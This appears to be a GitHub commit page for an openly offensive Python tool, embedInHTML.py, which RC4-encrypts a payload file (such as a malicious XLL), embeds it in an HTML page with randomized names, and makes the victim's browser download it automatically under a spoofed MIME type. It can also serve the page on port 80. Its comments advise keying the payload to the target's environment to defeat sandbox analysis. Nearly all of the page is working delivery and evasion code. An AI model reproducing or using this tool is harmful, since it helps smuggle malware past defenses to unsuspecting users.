Skip to content

Commit 4fdbe0f

Browse files
committed
Initial commit
0 parents  commit 4fdbe0f

File tree

9 files changed

+1034
-0
lines changed

9 files changed

+1034
-0
lines changed

.gitattributes

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Auto detect text files and perform LF normalization
2+
* text=auto

LICENSE

Lines changed: 674 additions & 0 deletions
Large diffs are not rendered by default.

embedInHTML.py

Lines changed: 251 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,251 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#
4+
# Author: Arno0x0x - https://twitter.com/Arno0x0x
5+
# Distributed under the terms of the [GPLv3 licence](http://www.gnu.org/copyleft/gpl.html)
6+
#
7+
# NOTES:
8+
# 1) This tool was inspired and is derived from the great 'demiguise' tool : https://github.com/nccgroup/demiguise
9+
#
10+
# 2) This tool creates an HTML file containing an embeded RC4 encrypted XLL payload which is automatically delivered to the end-user
11+
#
12+
# 3) The b64AndRC4 function used on the binary input (from the XLL file) is a mix Mix of:
13+
# https://gist.github.com/borismus/1032746 and https://gist.github.com/farhadi/2185197
14+
#
15+
# 4) Check https://gist.github.com/Arno0x/f71a9db515ddea686ccdd77666bebbaa for an easy malicious XLL creation
16+
#
17+
# 5) In the HTML template (html.tpl file) it is advisable to insert your own key environmental derivation function below in place
18+
# of the 'keyFunction'.
19+
# You should derive your key from the environment so that it only works on your intended target (and not in a sandbox).
20+
21+
import os
22+
import sys
23+
import base64
24+
import argparse
25+
import random
26+
import string
27+
28+
#=====================================================================================
29+
# These are the MIME types that will be presented to the user (even if some are fake)
30+
mimeTypeDict = {
31+
".doc": "application/msword",
32+
".docx": "application/msword",
33+
".docm": "application/msword",
34+
".xls": "application/vnd.ms-excel",
35+
".xlsx": "application/vnd.ms-excel",
36+
".xlsm": "application/vnd.ms-excel",
37+
".xll": "application/vnd.ms-excel",
38+
".ppt": "application/vnd.ms-powerpoint",
39+
".pps": "application/vnd.ms-powerpoint",
40+
".ppsx": "application/vnd.ms-powerpoint",
41+
".exe": "application/octet-stream",
42+
".js": "application/js"
43+
}
44+
45+
#=====================================================================================
46+
# Helper functions
47+
#=====================================================================================
48+
def color(string, color=None):
49+
"""
50+
Author: HarmJ0y, borrowed from Empire
51+
Change text color for the Linux terminal.
52+
"""
53+
54+
attr = []
55+
56+
if color:
57+
if color.lower() == "red":
58+
attr.append('31')
59+
elif color.lower() == "green":
60+
attr.append('32')
61+
elif color.lower() == "blue":
62+
attr.append('34')
63+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
64+
65+
else:
66+
# bold
67+
attr.append('1')
68+
if string.strip().startswith("[!]"):
69+
attr.append('31')
70+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
71+
elif string.strip().startswith("[+]"):
72+
attr.append('32')
73+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
74+
elif string.strip().startswith("[?]"):
75+
attr.append('33')
76+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
77+
elif string.strip().startswith("[*]"):
78+
attr.append('34')
79+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
80+
else:
81+
return string
82+
83+
#----------------------------------------------------------------
84+
def rand():
85+
return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(8))
86+
87+
88+
#------------------------------------------------------------------------
89+
def convertFromTemplate(parameters, templateFile):
90+
try:
91+
with open(templateFile) as f:
92+
src = string.Template(f.read())
93+
result = src.substitute(parameters)
94+
f.close()
95+
return result
96+
except IOError:
97+
print color("[!] Could not open or read template file [{}]".format(templateFile))
98+
return None
99+
100+
#=====================================================================================
101+
# Class providing RC4 encryption functions
102+
#=====================================================================================
103+
class RC4:
104+
def __init__(self, key = None):
105+
self.state = range(256) # initialisation de la table de permutation
106+
self.x = self.y = 0 # les index x et y, au lieu de i et j
107+
108+
if key is not None:
109+
self.key = key
110+
self.init(key)
111+
112+
# Key schedule
113+
def init(self, key):
114+
for i in range(256):
115+
self.x = (ord(key[i % len(key)]) + self.state[i] + self.x) & 0xFF
116+
self.state[i], self.state[self.x] = self.state[self.x], self.state[i]
117+
self.x = 0
118+
119+
# Encrypt binary input data
120+
def binaryEncrypt(self, data):
121+
output = [None]*len(data)
122+
for i in xrange(len(data)):
123+
self.x = (self.x + 1) & 0xFF
124+
self.y = (self.state[self.x] + self.y) & 0xFF
125+
self.state[self.x], self.state[self.y] = self.state[self.y], self.state[self.x]
126+
output[i] = chr((data[i] ^ self.state[(self.state[self.x] + self.state[self.y]) & 0xFF]))
127+
return ''.join(output)
128+
129+
# Encrypt string input data
130+
def stringEncrypt(self, data):
131+
"""
132+
Decrypt/encrypt the passed data using RC4 and the given key.
133+
https://github.com/EmpireProject/Empire/blob/73358262acc8ed3c34ffc87fa593655295b81434/data/agent/stagers/dropbox.py
134+
"""
135+
S, j, out = range(256), 0, []
136+
for i in range(256):
137+
j = (j + S[i] + ord(self.key[i % len(self.key)])) % 256
138+
S[i], S[j] = S[j], S[i]
139+
i = j = 0
140+
for char in data:
141+
i = (i + 1) % 256
142+
j = (j + S[i]) % 256
143+
S[i], S[j] = S[j], S[i]
144+
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
145+
return ''.join(out)
146+
147+
#=====================================================================================
148+
# MAIN FUNCTION
149+
#=====================================================================================
150+
if __name__ == '__main__':
151+
152+
#------------------------------------------------------------------------
153+
# Parse arguments
154+
parser = argparse.ArgumentParser(description='Creates an HTML file containing an embedded RC4 encrypted file')
155+
parser.add_argument("-k", "--key", help="Encryption key", dest="key")
156+
parser.add_argument("-f", "--file", help="Path to the file to embed into HTML", dest="fileName")
157+
parser.add_argument("-o", "--output", help="Ouput file name", dest="outFileName")
158+
parser.add_argument("-m", "--mime", help="Forced mime type for output file", dest="mimeType")
159+
parser.add_argument("-w", "--webserver", help="Starts a web server at the end of the script", action="store_true", default=False, dest="startWebServer")
160+
args = parser.parse_args()
161+
162+
if args.key and args.fileName and args.outFileName:
163+
#------------------------------------------------------------------------
164+
# Open XLL file and read all bytes from it
165+
try:
166+
with open(args.fileName) as fileHandle:
167+
fileBytes = bytearray(fileHandle.read())
168+
fileHandle.close()
169+
print color("[*] File [{}] successfully loaded !".format(args.fileName))
170+
except IOError:
171+
print color("[!] Could not open or read file [{}]".format(args.fileName))
172+
quit()
173+
174+
#------------------------------------------------------------------------
175+
# Create the RC4 encryption object
176+
rc4Encryptor = RC4(args.key)
177+
178+
#------------------------------------------------------------------------
179+
# Determine the mime type to apply based on the file extension or from the
180+
# mime type passed as an argument
181+
if not args.mimeType:
182+
fileExtension = os.path.splitext(args.fileName)[1]
183+
try:
184+
mimeType = mimeTypeDict[fileExtension]
185+
except KeyError:
186+
print color("[!] Could not determine the mime type for the input file. Force it using the -m switch.")
187+
quit()
188+
else:
189+
mimeType = args.mimeType
190+
191+
#------------------------------------------------------------------------
192+
# Encrypt and base64 encode the XLL file
193+
payload = base64.b64encode(rc4Encryptor.binaryEncrypt(fileBytes))
194+
print color("[+] Encrypted input file with key [{}]".format(args.key))
195+
196+
197+
# blobShim borrowed from https://github.com/mholt/PapaParse/issues/175#issuecomment-75597039
198+
blobShim = '(function(b,fname){if(window.navigator.msSaveOrOpenBlob)'
199+
blobShim += 'window.navigator.msSaveBlob(b,fname);else{var f = new File([b], fname, {type:"' + mimeType + '"});'
200+
blobShim += 'var a=window.document.createElement("a");a.href=window.URL.createObjectURL(f);a.download=fname;'
201+
blobShim += 'document.body.appendChild(a);a.click();document.body.removeChild(a);}})'
202+
203+
#------------------------------------------------------------------------
204+
# Preparing all parameters for substitution in the HTML template
205+
rc4Function = rand()
206+
b64AndRC4Function = rand()
207+
keyFunction = rand()
208+
varPayload = rand()
209+
varBlobObjectName = rand()
210+
varBlob = rand()
211+
varBlobShim = rand()
212+
blobShimEncrypted = base64.b64encode(rc4Encryptor.stringEncrypt(blobShim))
213+
blobObjectNameEncrypted = base64.b64encode(rc4Encryptor.stringEncrypt("Blob"))
214+
fileName = os.path.basename(args.fileName)
215+
216+
params = {
217+
"rc4Function": rc4Function, "b64AndRC4Function": b64AndRC4Function , "keyFunction": keyFunction, "key": args.key, \
218+
"varPayload": varPayload, "payload": payload, "varBlobObjectName": varBlobObjectName, \
219+
"blobObjectNameEncrypted": blobObjectNameEncrypted, "varBlob": varBlob, "mimeType": mimeType, \
220+
"varBlobShim" : varBlobShim, "blobShimEncrypted": blobShimEncrypted, "fileName": fileName
221+
}
222+
223+
# Formating the HTML template with all parameters
224+
resultHTML = convertFromTemplate(params,"templates/html.tpl")
225+
226+
if resultHTML is not None:
227+
#------------------------------------------------------------------------
228+
# Write the HTML file
229+
htmlFile = "output/" + args.outFileName
230+
try:
231+
with open(htmlFile, 'w') as fileHandle:
232+
fileHandle.write(resultHTML)
233+
print color("[*] File [{}] successfully created !".format(htmlFile))
234+
except IOError:
235+
print color("[!] Could not open or write file [{}]".format(htmlFile))
236+
quit()
237+
238+
#------------------------------------------------------------------------
239+
# If it was requested to start a web server, let's do it !
240+
if args.startWebServer:
241+
os.chdir("output")
242+
import SimpleHTTPServer
243+
import SocketServer
244+
PORT = 80
245+
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
246+
httpd = SocketServer.TCPServer(("", PORT), Handler)
247+
httpd.serve_forever()
248+
else:
249+
parser.print_help()
250+
print color("\nExample: ./{} -k mysecretkey -f payloads_examples/calc.xll -o index.html\n".format(os.path.basename(__file__)),"green")
251+

output/.touch

Whitespace-only changes.

0 commit comments

Comments
 (0)